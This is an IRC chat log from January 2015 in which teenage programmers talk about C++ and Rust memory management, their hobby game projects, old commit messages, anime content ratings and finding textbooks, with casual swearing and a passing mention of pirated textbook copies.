[2015-01-24T19:05:27-0500] <bob_twinkles> so I can use valgrind to verify everythign is getting cleaned up properly
[2015-01-24T19:05:36-0500] <Hyper> I need to encourage use of smart_ptrs more
[2015-01-24T19:05:41-0500] <bob_twinkles> I lose ~50k bytes because SDL, dbus and X don't know how to manage memory
[2015-01-24T19:05:49-0500] <@awe> Unsurprising.
[2015-01-24T19:05:50-0500] <bob_twinkles> but that's what the stuff in valgrind/ is for =P
[2015-01-24T19:05:53-0500] <Hyper> lol
[2015-01-24T19:06:58-0500] <bob_twinkles> you do actually pay a bit of performance price for smart_ptrs but I don't think either of us are doing anything performance-critical enough for that to matter =P
[2015-01-24T19:07:07-0500] <Hyper> lol yeah
[2015-01-24T19:08:33-0500] <bob_twinkles> my biggest problem with C++ is that you can't seperate interface from implementation for templated classes
[2015-01-24T19:08:57-0500] <bob_twinkles> so you end up with stuff like https://github.com/bobtwinkles/battle_friesian/blob/master/construct/Parser.hpp that recompiles half the game when I need to tweak it
[2015-01-24T19:09:05-0500] <@awe> I want to work on my voxel game, but my friend still won't work on the engine.
[2015-01-24T19:09:26-0500] <bob_twinkles> in rust?
[2015-01-24T19:09:31-0500] <Hyper> bob_twinkles: what are you parsing?
[2015-01-24T19:09:34-0500] <@awe> Yeah.
[2015-01-24T19:09:51-0500] <bob_twinkles> right now the only place that's used is https://github.com/bobtwinkles/battle_friesian/blob/master/construct/LevelParser.cpp
[2015-01-24T19:09:57-0500] <Hyper> ah
[2015-01-24T19:09:58-0500] <Hyper> ok
[2015-01-24T19:10:17-0500] <bob_twinkles> I'm planning on using it everywhere I can though
[2015-01-24T19:10:38-0500] <bob_twinkles> since changing text files > changing text files + recompiling
[2015-01-24T19:10:48-0500] <Hyper> mmm
[2015-01-24T19:11:09-0500] <@awe> The plan is to make something stylistically similar to Cube World (though my ideas for gameplay are really, really rough)
[2015-01-24T19:11:22-0500] <Hyper> yeah I'm probably gonna start on a skeletal animation system soon
[2015-01-24T19:11:28-0500] <Hyper> I'm really excited for that
[2015-01-24T19:11:42-0500] <bob_twinkles> that's one thing I've yet to write actually
[2015-01-24T19:12:29-0500] <bob_twinkles> mostly since I don't have the skills to author 3D skeletal animations and I haven't felt like writing my own authoring tool for 2D animations/have been too lazy to find an existing one
[2015-01-24T19:12:39-0500] <Hyper> lol
[2015-01-24T19:12:56-0500] <Hyper> I've got no idea what's actually entailed in skeletal animation
[2015-01-24T19:13:01-0500] <Hyper> I'm just gonna wing it
[2015-01-24T19:13:21-0500] <bob_twinkles> heh
[2015-01-24T19:13:29-0500] <bob_twinkles> doing it in 2D shouldn't be too bad
[2015-01-24T19:13:39-0500] <Hyper> it's actually supposed to be 3D :)
[2015-01-24T19:13:56-0500] <Hyper> but like it's just following bezier curves right?
[2015-01-24T19:14:15-0500] <bob_twinkles> uh
[2015-01-24T19:14:21-0500] <bob_twinkles> usually a tree of transformation matricies
[2015-01-24T19:14:30-0500] <Hyper> hmm yeah
[2015-01-24T19:14:35-0500] <Hyper> right
[2015-01-24T19:14:36-0500] <bob_twinkles> like spine -> arm_l -> forearm_l
[2015-01-24T19:14:44-0500] <Hyper> well that's the skeleton
[2015-01-24T19:14:46-0500] <bob_twinkles> mhm
[2015-01-24T19:14:48-0500] <Hyper> but the animation part :)
[2015-01-24T19:14:58-0500] <bob_twinkles> uh... quaternions
[2015-01-24T19:15:01-0500] <bob_twinkles> quaternions everywhere
[2015-01-24T19:15:03-0500] <bob_twinkles> I think
[2015-01-24T19:15:08-0500] <bob_twinkles> like I said, I've never done it
[2015-01-24T19:15:16-0500] • bob_twinkles: -> food
[2015-01-24T19:15:20-0500] <Hyper> heh
[2015-01-24T19:15:41-0500] <@awe> food is a member of bob_twinkles?
[2015-01-24T19:17:04-0500] <@awe> Oh my.
[2015-01-24T19:17:05-0500] <@awe> https://github.com/bobtwinkles/SpicedTea
[2015-01-24T19:17:10-0500] <@awe> He *also* made a rougelike.
[2015-01-24T19:17:36-0500] <Hyper> but that's in java
[2015-01-24T19:17:40-0500] <Hyper> so it's not as cool
[2015-01-24T19:17:52-0500] <bob_twinkles> it builds enemies through reflection
[2015-01-24T19:17:56-0500] <bob_twinkles> give me some credit for that at least
[2015-01-24T19:18:06-0500] • bob_twinkles: -> actual food
[2015-01-24T19:18:35-0500] <@awe> I mean I made one in QBasic ffs.
[2015-01-24T19:18:35-0500] <Hyper> bob_twinkles: I think that's technically abuse :)
[2015-01-24T19:18:50-0500] <@awe> Apparently, almost everything else bob_twinkles has on his GH is Minecraft-related.
[2015-01-24T19:20:10-0500] <@awe> HOLY FUCK.
[2015-01-24T19:20:13-0500] <@awe> THIS IS A GOLDMINE.
[2015-01-24T19:20:21-0500] <@awe> bob_twinkles used to make commit messages like JacobEdelman!
[2015-01-24T19:20:31-0500] <@awe> https://github.com/bobtwinkles/PokemonTI/commits/master?page=1
[2015-01-24T19:20:41-0500] <@awe> Two commits of "Moved includes around"
[2015-01-24T19:20:52-0500] <@awe> "Did stuff"
[2015-01-24T19:20:55-0500] • Hyper: quickly privates old github repos
[2015-01-24T19:21:08-0500] <@awe> I THINK I REALLY FIXED THE STUPID IO CODE!!!!!!!!!11!!!111!!111!!!!111!!! Works on calculator, doesn't crash, and all that jazz!
[2015-01-24T19:21:14-0500] <@awe> Actual commit message that bob_twinkles wrote. :D
[2015-01-24T19:21:43-0500] <@awe> actual Hyper commit message: "Updated updated"
[2015-01-24T19:21:50-0500] <Hyper> where is that?
[2015-01-24T19:21:53-0500] <@awe> "got OCD over Curly brackets"
[2015-01-24T19:21:56-0500] <@awe> https://github.com/Hypersonic/Door/commits/master
[2015-01-24T19:22:01-0500] <Hyper> oh door
[2015-01-24T19:22:04-0500] <Hyper> *sigh*
[2015-01-24T19:22:10-0500] <@awe> "The return of exit()"
[2015-01-24T19:22:11-0500] <@awe> lol
[2015-01-24T19:22:14-0500] <@awe> I love you, Hyper
[2015-01-24T19:22:16-0500] <@awe> This is great.
[2015-01-24T19:22:21-0500] <@awe> Is this game playable?
[2015-01-24T19:22:24-0500] <Hyper> lolno
[2015-01-24T19:22:36-0500] <@awe> If I compile it, will it do anything?
[2015-01-24T19:22:42-0500] <Hyper> I don't think so?
[2015-01-24T19:22:46-0500] <@awe> Let's find out!
[2015-01-24T19:22:46-0500] <Hyper> this was 4 years ago man
[2015-01-24T19:23:05-0500] <Hyper> it got as far as me implementing string tokenization before I got bored
[2015-01-24T19:23:05-0500] <@awe> I know. You'd never even heard of make. :)
[2015-01-24T19:23:13-0500] <Hyper> It used xcode lol
[2015-01-24T19:23:35-0500] <@awe> Cannot compile.
[2015-01-24T19:23:38-0500] <@awe> There's no Door.cpp
[2015-01-24T19:23:38-0500] <@awe> xD
[2015-01-24T19:23:44-0500] <Hyper> oh well
[2015-01-24T19:23:58-0500] <@awe> Hugely disappointing.
[2015-01-24T19:24:07-0500] <Hyper> https://github.com/Hypersonic/NeuralNets/commit/eedb3a32043f2bca1cb4565139bcf3d8379db95b 10/10
[2015-01-24T19:24:34-0500] <@awe> Ah, the spiritual successor to Door, the much-anticipated Cellar Stroller.
[2015-01-24T19:24:35-0500] <@awe> https://github.com/Hypersonic/Cellar-Strider
[2015-01-24T19:24:38-0500] <@awe> Strider*
[2015-01-24T19:24:47-0500] <Hyper> cellar strider was closer to a rougelike
[2015-01-24T19:24:50-0500] <Hyper> it's actually great
[2015-01-24T19:24:57-0500] <Hyper> it has map scripting and shit
[2015-01-24T19:25:22-0500] <Hyper> like look at this https://github.com/Hypersonic/Cellar-Strider/blob/master/games/tutorial/tutorial.yaml
[2015-01-24T19:25:59-0500] <@awe> Pretty neat.
[2015-01-24T19:26:13-0500] <@awe> Tutorial crashed when he gave me the stick.
[2015-01-24T19:26:19-0500] <Hyper> huh
[2015-01-24T19:26:20-0500] <Hyper> oh well
[2015-01-24T19:26:28-0500] <@awe> Main game also crashed.
[2015-01-24T19:26:29-0500] <@awe> I give up.
[2015-01-24T19:27:16-0500] <+JacobEdelman> Hyper: I didn;t want to like it, with those freakishly long limbs
[2015-01-24T19:27:21-0500] <+JacobEdelman> Hyper: I really didn't want to 
[2015-01-24T19:27:31-0500] <Hyper> the spaghetti people got to you?
[2015-01-24T19:27:32-0500] <+JacobEdelman> Hyper: but I couldn't resist...
[2015-01-24T19:27:37-0500] <+JacobEdelman> Hyper: its too good!
[2015-01-24T19:27:40-0500] <Hyper> :)
[2015-01-24T19:27:48-0500] <Hyper> I watched the whole thing without sleeping
[2015-01-24T19:27:51-0500] <Hyper> :)
[2015-01-24T19:27:54-0500] <Hyper> good luck
[2015-01-24T19:28:24-0500] <+JacobEdelman> Hyper: well... I gotta sleep, but I expect I'll watch it pretty quickly
[2015-01-24T19:28:56-0500] <+JacobEdelman> Hyper: ezra (my little brother) might want to watch it, how explicit does it get?
[2015-01-24T19:29:03-0500] <alokpathy> JacobEdelman: You have to sleep?
[2015-01-24T19:29:04-0500] <+JacobEdelman> pg-13, or r or above?
[2015-01-24T19:29:06-0500] <alokpathy> at 8:30?
[2015-01-24T19:29:08-0500] <+JacobEdelman> alokpathy: not now
[2015-01-24T19:29:10-0500] <alokpathy> 7:30*
[2015-01-24T19:29:11-0500] <alokpathy> Oh okay
[2015-01-24T19:29:13-0500] <alokpathy> phew
[2015-01-24T19:29:13-0500] <+JacobEdelman> alokpathy: but I probaly won
[2015-01-24T19:29:16-0500] <+JacobEdelman> twon't
[2015-01-24T19:29:19-0500] <+JacobEdelman> have time
[2015-01-24T19:29:25-0500] <+JacobEdelman> to finish two seasons of an anime
[2015-01-24T19:29:26-0500] <Hyper> JacobEdelman: never more than pg-13
[2015-01-24T19:29:53-0500] <+JacobEdelman> Hyper: ah, thats probaly fine than
[2015-01-24T19:29:58-0500] <@awe> >content control
[2015-01-24T19:30:12-0500] <@awe> If Ezra wants to watch explicit things, he'll go and do it.
[2015-01-24T19:30:27-0500] <+JacobEdelman> awe: no , he won't
[2015-01-24T19:30:34-0500] <+JacobEdelman> awe: well, correction
[2015-01-24T19:30:36-0500] <Hyper> awe: I think this is more of a "Don't be the one to show it to him"
[2015-01-24T19:30:39-0500] <+JacobEdelman> aweL he won't want too
[2015-01-24T19:30:39-0500] <Hyper> type thing
[2015-01-24T19:30:44-0500] <+JacobEdelman> Hyper: nah
[2015-01-24T19:30:53-0500] <+JacobEdelman> Hyper: he wouldn't want to watch it if it was explicit
[2015-01-24T19:31:01-0500] <@awe> .-.
[2015-01-24T19:31:04-0500] <+JacobEdelman> Hyper: when I was his age I didn't
[2015-01-24T19:31:15-0500] <@awe> I do not understand your family.
[2015-01-24T19:31:19-0500] <Hyper> lol when I was your age I didn't... I think
[2015-01-24T19:31:24-0500] <Hyper> maybe a bit younger
[2015-01-24T19:31:29-0500] <@awe> At no point in my life, I didn't care at all about the explicitness of content I was consuming.
[2015-01-24T19:31:31-0500] <Hyper> before high school I was afraid of cursing
[2015-01-24T19:31:36-0500] <@awe> erm
[2015-01-24T19:31:40-0500] <@awe> I switched how I was phrasing that.
[2015-01-24T19:31:44-0500] <+JacobEdelman> Hyper: I don't curse
[2015-01-24T19:31:50-0500] <Hyper> lol
[2015-01-24T19:31:52-0500] <@awe> At no point in my life did I care at all about the explicitness of the content I was consuming.
[2015-01-24T19:31:54-0500] <+JacobEdelman> Hyper: neither do any of my syblings
[2015-01-24T19:31:56-0500] <Hyper> I have the mouth of a sailor now
[2015-01-24T19:31:57-0500] <@awe> siblings*
[2015-01-24T19:32:11-0500] <+JacobEdelman> Hyper: you may have noticed how I call arseface arseface, rather than arseface
[2015-01-24T19:32:13-0500] <@awe> Why does swearing make you so uncomfortable?
[2015-01-24T19:32:34-0500] <@awe> It makes you so uncomfortable to the point where you won't tab-complete someone's name because it contains a swear.
[2015-01-24T19:32:52-0500] <Hyper> JacobEdelman: oh wait
[2015-01-24T19:33:00-0500] <Hyper> there is some implication of masturbation at one point
[2015-01-24T19:33:18-0500] <@awe> Hyper: I'm pretty sure a thirteen year old boy knows what masturbation is.
[2015-01-24T19:33:24-0500] <Hyper> like "it's going on just off-screen" implication
[2015-01-24T19:33:45-0500] <Hyper> awe: he asked if it was more than pg-13, that's probably a bit beyond it
[2015-01-24T19:33:49-0500] <Hyper> so I'm warning him
[2015-01-24T19:33:57-0500] <+JacobEdelman> Hyper: eh, its probaly fine
[2015-01-24T19:34:01-0500] <@awe> I'd call that PG-13.
[2015-01-24T19:34:10-0500] <@awe> You can also swear in PG-13 content.
[2015-01-24T19:34:31-0500] <+JacobEdelman> Hyper: maybe... I'll ask ezra, he'lll probaly be fine (he went to summer camp so he won't be shocked ...)
[2015-01-24T19:34:48-0500] <Hyper> lol
[2015-01-24T19:34:49-0500] <@awe> Seriously, JacobEdelman, can you explain why you're so incredibly uncomfortable with swearing?
[2015-01-24T19:34:55-0500] <@awe> I do not understand it at all.
[2015-01-24T19:34:59-0500] <+JacobEdelman> awe: yes, but I still don't swear, I'll swear when its appropaite (ala simon tam)
[2015-01-24T19:35:16-0500] <+JacobEdelman> firefly ftw
[2015-01-24T19:35:19-0500] <@awe> It's appropriate when it's somebody's NAME.
[2015-01-24T19:35:40-0500] <+JacobEdelman> it is, I do swear when jokes neccistate it
[2015-01-24T19:35:49-0500] <+JacobEdelman> but calling arseface arseface is funny !
[2015-01-24T19:35:57-0500] <@awe> Not particularly.
[2015-01-24T19:36:00-0500] <@awe> It just makes you look childish.
[2015-01-24T19:36:07-0500] <+JacobEdelman> ....
[2015-01-24T19:36:08-0500] <+JacobEdelman> ....
[2015-01-24T19:36:13-0500] <+JacobEdelman> look childish?
[2015-01-24T19:36:17-0500] <+JacobEdelman> i'm offend
[2015-01-24T19:36:23-0500] <@awe> Maybe a better question would be to ask The_Master why he's so uncomfortable with swearing and sexual content.
[2015-01-24T19:36:25-0500] <+JacobEdelman> I thought I already looked maximally childish
[2015-01-24T19:36:44-0500] <+JacobEdelman> awe: .... cause his older siblings are?
[2015-01-24T19:36:49-0500] <@awe> But why?
[2015-01-24T19:37:01-0500] <@awe> Human beings are sexual creatures.
[2015-01-24T19:37:12-0500] <+JacobEdelman> "But why" is a common response to encountering the edelman clones
[2015-01-24T19:37:58-0500] <+JacobEdelman> awe: thats why I don't care too much anymore
[2015-01-24T19:37:59-0500] <+JacobEdelman> gtg
[2015-01-24T19:38:00-0500] <+JacobEdelman> dinner
[2015-01-24T19:38:20-0500] <@awe> .-.
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[2015-01-24T19:31:14-0500] <@awe> I do not understand your family.
[2015-01-24T19:31:17-0500] <Hyper> lol when I was your age I didn't... I think
[2015-01-24T19:31:23-0500] <Hyper> maybe a bit younger
[2015-01-24T19:31:28-0500] <@awe> At no point in my life, I didn't care at all about the explicitness of content I was consuming.
[2015-01-24T19:31:30-0500] <Hyper> before high school I was afraid of cursing
[2015-01-24T19:31:35-0500] <@awe> erm
[2015-01-24T19:31:39-0500] <@awe> I switched how I was phrasing that.
[2015-01-24T19:31:43-0500] <+JacobEdelman> Hyper: I don't curse
[2015-01-24T19:31:49-0500] <Hyper> lol
[2015-01-24T19:31:51-0500] <@awe> At no point in my life did I care at all about the explicitness of the content I was consuming.
[2015-01-24T19:31:53-0500] <+JacobEdelman> Hyper: neither do any of my syblings
[2015-01-24T19:31:55-0500] <Hyper> I have the mouth of a sailor now
[2015-01-24T19:31:56-0500] <@awe> siblings*
[2015-01-24T19:32:10-0500] <+JacobEdelman> Hyper: you may have noticed how I call arseface arseface, rather than arseface
[2015-01-24T19:32:12-0500] <@awe> Why does swearing make you so uncomfortable?
[2015-01-24T19:32:33-0500] <@awe> It makes you so uncomfortable to the point where you won't tab-complete someone's name because it contains a swear.
[2015-01-24T19:32:51-0500] <Hyper> JacobEdelman: oh wait
[2015-01-24T19:32:59-0500] <Hyper> there is some implication of masturbation at one point
[2015-01-24T19:33:17-0500] <@awe> Hyper: I'm pretty sure a thirteen year old boy knows what masturbation is.
[2015-01-24T19:33:23-0500] <Hyper> like "it's going on just off-screen" implication
[2015-01-24T19:33:44-0500] <Hyper> awe: he asked if it was more than pg-13, that's probably a bit beyond it
[2015-01-24T19:33:48-0500] <Hyper> so I'm warning him
[2015-01-24T19:33:56-0500] <+JacobEdelman> Hyper: eh, its probaly fine
[2015-01-24T19:34:00-0500] <@awe> I'd call that PG-13.
[2015-01-24T19:34:09-0500] <@awe> You can also swear in PG-13 content.
[2015-01-24T19:34:30-0500] <+JacobEdelman> Hyper: maybe... I'll ask ezra, he'lll probaly be fine (he went to summer camp so he won't be shocked ...)
[2015-01-24T19:34:47-0500] <Hyper> lol
[2015-01-24T19:34:48-0500] <@awe> Seriously, JacobEdelman, can you explain why you're so incredibly uncomfortable with swearing?
[2015-01-24T19:34:54-0500] <@awe> I do not understand it at all.
[2015-01-24T19:34:58-0500] <+JacobEdelman> awe: yes, but I still don't swear, I'll swear when its appropaite (ala simon tam)
[2015-01-24T19:35:15-0500] <+JacobEdelman> firefly ftw
[2015-01-24T19:35:18-0500] <@awe> It's appropriate when it's somebody's NAME.
[2015-01-24T19:35:39-0500] <+JacobEdelman> it is, I do swear when jokes neccistate it
[2015-01-24T19:35:48-0500] <+JacobEdelman> but calling arseface arseface is funny !
[2015-01-24T19:35:56-0500] <@awe> Not particularly.
[2015-01-24T19:35:59-0500] <@awe> It just makes you look childish.
[2015-01-24T19:36:06-0500] <+JacobEdelman> ....
[2015-01-24T19:36:07-0500] <+JacobEdelman> ....
[2015-01-24T19:36:12-0500] <+JacobEdelman> look childish?
[2015-01-24T19:36:16-0500] <+JacobEdelman> i'm offend
[2015-01-24T19:36:22-0500] <@awe> Maybe a better question would be to ask The_Master why he's so uncomfortable with swearing and sexual content.
[2015-01-24T19:36:24-0500] <+JacobEdelman> I thought I already looked maximally childish
[2015-01-24T19:36:43-0500] <+JacobEdelman> awe: .... cause his older siblings are?
[2015-01-24T19:36:48-0500] <@awe> But why?
[2015-01-24T19:37:00-0500] <@awe> Human beings are sexual creatures.
[2015-01-24T19:37:11-0500] <+JacobEdelman> "But why" is a common response to encountering the edelman clones
[2015-01-24T19:37:57-0500] <+JacobEdelman> awe: thats why I don't care too much anymore
[2015-01-24T19:37:58-0500] <+JacobEdelman> gtg
[2015-01-24T19:37:59-0500] <+JacobEdelman> dinner
[2015-01-24T19:38:19-0500] <@awe> .-.
[2015-01-24T19:58:51-0500] Mode is +nst
[2015-01-24T20:24:20-0500] <Tamini_> wat
[2015-01-24T20:42:20-0500] <+JacobEdelman> wat?
[2015-01-24T20:42:40-0500] <+JacobEdelman> ("wat" is also a common response upon encountering the edelman clones)
[2015-01-24T20:42:55-0500] <@awe> Woo. I found a textbook that was $100 to rent.
[2015-01-24T20:43:04-0500] <@awe> (as a PDF online)
[2015-01-24T20:45:22-0500] <alokpathy> awe: Which one?
[2015-01-24T20:45:29-0500] <@awe> Computer Systems: A Programmer's Perspective.
[2015-01-24T20:48:59-0500] <alokpathy> Oh, okay
[2015-01-24T20:49:40-0500] <@awe> [20:49:33]  <awebot>	Do you work for UPS? Because I swear I saw you checking out my package.
[2015-01-24T20:49:40-0500] <@awe> YES
[2015-01-24T20:49:46-0500] <@awe> awebot finally messaged me.
[2015-01-24T20:49:46-0500] <@awe> :D
[2015-01-24T20:50:48-0500] <bob_twinkles> ... with a pickup line
[2015-01-24T20:51:38-0500] <@awe> Have you not heard, bob_twinkles?
[2015-01-24T20:51:46-0500] <@awe> awebot has been accused of sexually harassing people.
[2015-01-24T20:51:51-0500] <alokpathy> awe: Oh, that's the one it sent me the other day, too.
[2015-01-24T20:54:28-0500] <+hardmath123> awe: this one? http://jarson.asia/resource/CSAPP.pdf
[2015-01-24T20:54:39-0500] <@awe> Doesn't load for me.
[2015-01-24T20:54:44-0500] <@awe> I found a torrent of that though.
[2015-01-24T20:55:00-0500] <@awe> I really need to find Bridging the Class Divide by Linda Stout.
[2015-01-24T20:55:13-0500] <@awe> I have to read 100 pages of it by Thursday.
[2015-01-24T20:55:17-0500] <+hardmath123> loaded for me...after 3 minutes.
[2015-01-24T20:55:32-0500] <@awe> If anyone can help me find that
[2015-01-24T20:55:42-0500] <+hardmath123> i have like a hundred textbook pdf's lying around in my ~/Downloads for no good reason
[2015-01-24T20:55:45-0500] <@awe> I will offer you something in return, although I'm not yet sure what I will offer.
[2015-01-24T20:56:39-0500] <Hyper> awe: some awesome person at poly hosts a site where you can get all the textbooks for at least your first two years for free
[2015-01-24T20:56:56-0500] <Hyper> and all the older students make sure you know about it at orientation :)
[2015-01-24T20:57:02-0500] <@awe> That's good.
[2015-01-24T20:57:14-0500] <@awe> I don't mind renting books that are reasonable.
[2015-01-24T20:57:30-0500] <@awe> e.g. $20 for my Java book last semester (although, I shouldn't have gotten it because I never looked at it)
[2015-01-24T20:57:37-0500] <@awe> and $18 for my probability book this semester.
[2015-01-24T20:57:42-0500] <@awe> But $100 to rent a book for a few months?
[2015-01-24T20:57:43-0500] <@awe> No thanks.
[2015-01-24T21:00:25-0500] <@awe> This other book i just need really soon and I'd only have it by Tuesday from Amazon (and only if I get one-day shipping)
[2015-01-24T21:00:31-0500] <@awe> And I'd get it at like 5 pm
[2015-01-24T21:00:32-0500] <@awe> and fuck that.
[2015-01-24T21:03:17-0500] <nezorg> [17:07] (@awe) 18:24:03> bob_twinkles: It's not like I have to think about memory any more in Rust than I would in a GC language.
[2015-01-24T21:03:24-0500] <nezorg> this is really not true
[2015-01-24T21:04:05-0500] <@awe> As someone who went from writing Java to Rust, I do not think any more about managing memory in Rust than I did in Java.
[2015-01-24T21:04:22-0500] <@awe> I don't think you can really say my experiences are not true.
[2015-01-24T21:05:02-0500] <nezorg> then you have some very niche use cases or really small code
[2015-01-24T21:05:20-0500] <nezorg> I CAN SAY WHAT I WANT
[2015-01-24T21:05:35-0500] <@awe> I have a project that's several thousand lines of code.
[2015-01-24T21:06:20-0500] <nezorg> well, in my experience, then
[2015-01-24T21:06:31-0500] <nezorg> you have to think a lot more about memory management
[2015-01-24T21:06:44-0500] <@awe> What do you mean by that?
[2015-01-24T21:06:56-0500] <+JacobEdelman> Hyper: shower scenes with no clothes or mist are R
[2015-01-24T21:07:03-0500] <Hyper> JacobEdelman: oh
[2015-01-24T21:07:05-0500] <Hyper> lol
[2015-01-24T21:07:07-0500] <@awe> JacobEdelman: that's not true.
[2015-01-24T21:07:09-0500] <Hyper> nothing is shown
[2015-01-24T21:07:10-0500] <@awe> JacobEdelman: objectively not true.
[2015-01-24T21:07:28-0500] <Hyper> I forgot about that
[2015-01-24T21:07:34-0500] <@awe> JacobEdelman: If there's neither a penis nor vagina and it's relatively short, boobs are PG-13.
[2015-01-24T21:07:41-0500] <Hyper> there aren't even boobs
[2015-01-24T21:07:41-0500] <@awe> JacobEdelman: and if there's no boobs, it's definitely PG-13.
[2015-01-24T21:07:44-0500] <Hyper> everything is covered
[2015-01-24T21:07:45-0500] <+JacobEdelman> Hyper: yes, by virtue of a well place arm :P still, its not as bad as ngnl
[2015-01-24T21:07:56-0500] <@awe> nezorg: Our understanding of considering memory management is likely different.
[2015-01-24T21:08:03-0500] <+JacobEdelman> awe: GoT is pg-13?
[2015-01-24T21:08:21-0500] <@awe> No?
[2015-01-24T21:08:34-0500] <@awe> PG-13 is a movie rating.
[2015-01-24T21:08:37-0500] <bob_twinkles> I think TV has a different system
[2015-01-24T21:08:52-0500] <@awe> It does.
[2015-01-24T21:09:23-0500] <@awe> GoT is TV-MA.
[2015-01-24T21:09:27-0500] <@awe> There's active sex in it.
[2015-01-24T21:10:09-0500] <@awe> They swear constantly, including the words that are deemed by the MPAA to be most offensive (fuck and cunt).
[2015-01-24T21:10:25-0500] <+JacobEdelman> Hyper: also, for a single frame or so the boobs arn't covered
[2015-01-24T21:10:29-0500] <@awe> OH NO.
[2015-01-24T21:10:30-0500] <@awe> A SINGLE FRAME OF BOOB.
[2015-01-24T21:10:34-0500] <@awe> MY GOD.
[2015-01-24T21:10:37-0500] <@awe> HOW EVER COULD YOU HANDLE THAT?
[2015-01-24T21:10:46-0500] <Hyper> JacobEdelman: you can deal with 1/22th of a second of boob.
[2015-01-24T21:10:47-0500] <+JacobEdelman> ... I'm fine, its ezra who I'm worried about
[2015-01-24T21:10:52-0500] <Hyper> he can too.
[2015-01-24T21:10:54-0500] <Hyper> I think
[2015-01-24T21:11:07-0500] <+JacobEdelman> I have no idea, I doubt he would want too, all ask him later
[2015-01-24T21:11:14-0500] <@awe> If you cannot handle a fraction of a second of boob, there's something actually wrong with your brain.
[2015-01-24T21:11:20-0500] <+JacobEdelman> still, you said there was nothing except some stuff off screen
[2015-01-24T21:11:33-0500] <@awe> Because normal people don't remember A FRACTION OF A SECOND OF BOOB.
[2015-01-24T21:11:33-0500] <jwoglom> that superbowl incident, lol
[2015-01-24T21:11:36-0500] <+JacobEdelman> awe: you would show it to your imaginary little sister?
[2015-01-24T21:11:38-0500] <@awe> Yes.
[2015-01-24T21:11:40-0500] <@awe> Who cares?
[2015-01-24T21:11:46-0500] <jwoglom> it obviously scarred children for life
[2015-01-24T21:11:48-0500] <@awe> I'm not a puritan.
[2015-01-24T21:12:04-0500] <+JacobEdelman> gtg
[2015-01-24T21:12:07-0500] <+JacobEdelman> settlers of cattan
[2015-01-24T21:12:29-0500] <@awe> nezorg: tell me what you mean, boy
[2015-01-24T21:12:44-0500] <nezorg> sorry, androirc is completely borked after the last update
[2015-01-24T21:13:10-0500] <@awe> If you include something like knowing that you're passing a reference vs a value, I guess you think more about it.
[2015-01-24T21:13:28-0500] <nezorg> I'm thinking mainly about sharing things between objects
[2015-01-24T21:13:35-0500] <@awe> Like what?
[2015-01-24T21:13:44-0500] <nezorg> like having to think about whether you can share references or you have to use Rc
[2015-01-24T21:14:03-0500] <@awe> Yeah, I don't consider that memory management.
[2015-01-24T21:14:08-0500] <@awe> Maybe I'm dumb.
[2015-01-24T21:14:58-0500] <@awe> The only thing I consider memory management is worrying about allocations and stuff
[2015-01-24T21:15:09-0500] <nezorg> well
[2015-01-24T21:15:11-0500] <@awe> Well, allocations and de-allocations, and so on.
[2015-01-24T21:15:16-0500] <nezorg> when thinking about whether you need to use Rc
[2015-01-24T21:15:21-0500] <nezorg> you're thinking about managing memory
[2015-01-24T21:15:34-0500] <@awe> I don't think so.
[2015-01-24T21:15:46-0500] <@awe> I mean maybe strictly speaking, but that's not really what goes through my head.
[2015-01-24T21:16:16-0500] <nezorg> then what goes through your head?
[2015-01-24T21:16:48-0500] <@awe> Can I do this with normal references? If that doesn't work, can I do this with Rc?
[2015-01-24T21:17:02-0500] <nezorg> ...and how is that not memory management?
[2015-01-24T21:17:19-0500] <@awe> Because I'm literally just thinking of Can I get this to compile?
[2015-01-24T21:17:38-0500] <@awe> I've also almost never used Rc.
[2015-01-24T21:17:40-0500] <nezorg> ...but the problem lies in managing memory
[2015-01-24T21:17:49-0500] <nezorg> but
[2015-01-24T21:17:50-0500] <nezorg> whatever
[2015-01-24T21:17:52-0500] <+JacobEdelman> Hyper: so, I know the school president isn't gonna die, cause they just set her up as the fan service queen
[2015-01-24T21:18:01-0500] <@awe> https://github.com/aatxe/markov/blob/master/src/lib.rs is the only place I've used Rc ever.
[2015-01-24T21:18:42-0500] <@awe> nezorg: and the way that worked was this: I wrote it using clones and then I realized that I can instead just clone references to it and thus threw it in an Rc.
[2015-01-24T21:19:16-0500] <@awe> nezorg: So, yeah, I guess in that sense I said "Hey, using clones is slow and takes up more memory. So, lets clone references instead."
[2015-01-24T21:19:27-0500] <@awe> nezorg: But it's not like that's a particularly complex decision to make.
[2015-01-24T21:24:34-0500] <bob_twinkles> why would anyone ever use scancodes
[2015-01-24T21:25:03-0500] <@awe> versus
[2015-01-24T21:25:04-0500] <@awe> ?
[2015-01-24T21:25:11-0500] <bob_twinkles> keycodes
[2015-01-24T21:25:17-0500] <bob_twinkles> SDL provides both
[2015-01-24T21:25:37-0500] <bob_twinkles> keycodes actually mean something, scancodes are just numbers
[2015-01-24T21:25:53-0500] <@awe> Fair enough.
[2015-01-24T21:26:10-0500] <bob_twinkles> I guess maybe if you're talking to a device that's not actually a keyboard
[2015-01-24T21:27:05-0500] <alokpathy> jwoglom: Super bowl moment?
[2015-01-24T21:27:24-0500] <jwoglom> alokpathy: "wardrobe malfunction"
[2015-01-24T21:27:25-0500] <+hardmath123> I hate music notation.
[2015-01-24T21:27:26-0500] <jwoglom> https://en.wikipedia.org/wiki/Super_Bowl_XXXVIII_halftime_show_controversy
[2015-01-24T21:27:27-0500] <@awe> Janet Jackson's boobs
[2015-01-24T21:28:57-0500] <@awe> That's what happened.
[2015-01-24T21:29:45-0500] <alokpathy> Ah, I see
[2015-01-24T21:36:13-0500] <@awe> there's a quote from calc0000 in our qdb lol.
[2015-01-24T21:37:22-0500] <Tamini_> what is it?
[2015-01-24T21:37:25-0500] <Tamini_> im not home atm
[2015-01-24T21:37:31-0500] <@awe> <jwoglom> javascript is okay
[2015-01-24T21:37:31-0500] <@awe> <jwoglom> but there should really be alternatives
[2015-01-24T21:37:31-0500] <@awe> <jwoglom> (sadly that seems like it'll never happen)
[2015-01-24T21:37:31-0500] <@awe> <nezorg> well there are... they just all compile into js
[2015-01-24T21:37:31-0500] <@awe> <calc0000> that don't count
[2015-01-24T21:37:31-0500] <@awe> <calc0000> that's like putting lipstick on a pig
[2015-01-24T21:37:31-0500] <@awe> <calc0000> except the pig is a nuclear bomb
[2015-01-24T21:37:31-0500] <@awe> <calc0000> and it's also ugly
[2015-01-24T21:37:50-0500] <jwoglom> oh hey, i'm in a quote
[2015-01-24T21:37:52-0500] <jwoglom> yay
[2015-01-24T21:38:17-0500] <@awe> The quote doesn't have the exchange about Pidgey sexually harassing jwoglom.
[2015-01-24T21:38:18-0500] <@awe> erm
[2015-01-24T21:38:19-0500] <@awe> JacobEdelman: 
